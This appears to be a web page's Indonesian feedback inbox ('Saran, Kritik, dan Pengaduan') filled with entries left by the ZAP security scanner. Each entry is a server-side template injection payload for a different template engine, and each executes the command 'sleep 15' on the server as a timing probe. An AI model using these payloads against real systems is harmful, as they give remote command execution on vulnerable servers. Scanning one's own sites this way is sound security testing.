Saran, Kritik, dan Pengaduan
Kotak Masuk
#set($engine="")
#set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15"))
#set($null=$proc.waitFor())
${null}
Zaproxy dolore alias impedit expedita quisquam.
ZAP
zaproxy@example.com
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }}
Zaproxy dolore alias impedit expedita quisquam.
ZAP
zaproxy@example.com
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%>
Zaproxy dolore alias impedit expedita quisquam.
ZAP
zaproxy@example.com
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()}
Zaproxy dolore alias impedit expedita quisquam.
ZAP
zaproxy@example.com
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}}
Zaproxy dolore alias impedit expedita quisquam.
ZAP
zaproxy@example.com
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}}
Zaproxy dolore alias impedit expedita quisquam.
ZAP
zaproxy@example.com
${__import__("subprocess").check_output("sleep 15", shell=True)}
Zaproxy dolore alias impedit expedita quisquam.
ZAP
zaproxy@example.com
{{__import__("subprocess").check_output("sleep 15", shell=True)}}
Zaproxy dolore alias impedit expedita quisquam.
ZAP
zaproxy@example.com
<%=%x(sleep 15)%>
Zaproxy dolore alias impedit expedita quisquam.
ZAP
zaproxy@example.com
#{%x(sleep 15)}